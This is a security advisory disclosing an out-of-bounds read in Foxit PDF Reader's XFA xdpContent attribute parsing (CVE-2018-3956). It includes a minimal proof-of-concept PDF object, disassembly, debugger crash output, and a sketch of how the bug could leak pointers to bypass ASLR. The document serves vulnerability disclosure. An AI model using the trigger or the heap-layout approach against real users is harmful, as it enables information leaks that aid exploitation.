Talos Vulnerability Report

TALOS-2018-0626

Foxit PDF Reader XFA xdpContent information leak vulnerability

January 3, 2019
CVE Number

CVE-2018-3956

Summary

An exploitable out-of-bounds read vulnerability exists in the handling of certain XFA element attributes of Foxit Software's PDF Reader version 9.1.0.5096. A specially crafted PDF document can trigger an out-of-bounds read, which can disclose sensitive memory content and aid in exploitation when coupled with another vulnerability. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

6.8 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:H

CWE

CWE-125: Out-of-bounds read

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports XFA standards for interactive forms, which present an additional attack surface.

When parsing attributes of certain XFA tags, there exists a bug in the way length of a wide-char string is calculated. Specifically, when processing the following example:

25 0 obj <<
>>stream
<template>
<subform>
<event activity="docReady"  >
 <submit target="http://blah/" xdpContent="aaaaaaaaaAAAAAAAAA"></submit>
</event>

</subform>
</template>
endstream
endobj

In the above object, when the xdpContent attribute is being parsed, the length of the string value needs to be calculated. The following code is responsible for doing so:

.text:0166C41C                 lea     esi, [eax+2]
.text:0166C41F
.text:0166C41F loc_166C41F:                            ; CODE XREF: sub_166C406+22j
.text:0166C41F                 mov     dx, [eax]
.text:0166C422                 add     eax, 2
.text:0166C425                 test    dx, dx
.text:0166C428                 jnz     short loc_166C41F
.text:0166C42A                 sub     eax, esi
.text:0166C42C                 push    ecx
.text:0166C42D                 sar     eax, 1

In the above code, the string pointed to by esi is treated as a wide-char string and is looped over in search of terminating NULL byte pair as indicated by test dx,dx. At the end, the counted value in eax is divided by two to get the string length. This is essentially an inlined version of the wcslen function. In this particular case, the bug lies in the fact that the string isn't NULL terminated. Rather, it's preceded by a length field.

So, if the memory immediately following the actual string isn't NULL, this loop will calculate a bigger value. This value is then subsequently used in memory allocation and string copy operations. This vulnerability can be caught with PageHeap enabled:

(1758.ec0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12bdf000 ebx=00000000 ecx=12bdefd8 edx=12bdd0d0 esi=12bdefda edi=0012ac4c
eip=021dc41f esp=0012ac10 ebp=0012ac18 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210282
FoxitReader!CryptVerifyMessageSignature+0xb34b6f:
021dc41f 668b10          mov     dx,word ptr [eax]        ds:0023:12bdf000=????
0:000> db eax
12bdf000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000> db eax-10
12bdeff0  41 00 41 00 41 00 41 00-41 00 41 00 d0 d0 d0 d0  A.A.A.A.A.A.....
12bdf000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000> !heap -p -a eax-10
    address 12bdeff0 found in
    _DPH_HEAP_ROOT @ 75a1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                12de2e04:         12bdefd0               2c -         12bde000             2000
    6a298e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77d861fe ntdll!RtlDebugAllocateHeap+0x00000030
    77d4a0d3 ntdll!RtlpAllocateHeap+0x000000c4
    77d158e0 ntdll!RtlAllocateHeap+0x0000023a
    02b50252 FoxitReader!CryptVerifyMessageSignature+0x014a89a2
    021da9a8 FoxitReader!CryptVerifyMessageSignature+0x00b330f8
    021da7d4 FoxitReader!CryptVerifyMessageSignature+0x00b32f24
    021daa86 FoxitReader!CryptVerifyMessageSignature+0x00b331d6
    02511a1e FoxitReader!CryptVerifyMessageSignature+0x00e6a16e
    02517b38 FoxitReader!CryptVerifyMessageSignature+0x00e70288
0:000> dd 12bdefd0               
12bdefd0  00000000 00000024 00610061 00610061
12bdefe0  00610061 00610061 00410061 00410041
12bdeff0  00410041 00410041 00410041 d0d0d0d0
12bdf000  ???????? ???????? ???????? ????????
12bdf010  ???????? ???????? ???????? ????????
12bdf020  ???????? ???????? ???????? ????????
12bdf030  ???????? ???????? ???????? ????????
12bdf040  ???????? ???????? ???????? ????????

In the above debugger output, the process crashed while accessing memory just beyond the allocated chunk. We can see the full content of the chunk showing the string length and the fact that it isn't null terminated.

With careful choice of the heap chunk size in which the string is located, the string size itself and careful memory layout control, this function can be tricked into accessing an adjacent heap chunk, returning a large size value and subsequently copying the contents of the adjacent chunk into another buffer. Coupled with accessing XFA elements and attributes through Javascript, this could be abused to leak heap and function pointers in order to bypass ASLR or other mitigations.

Timeline

2018-07-20 - Vendor Disclosure
2019-01-03 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.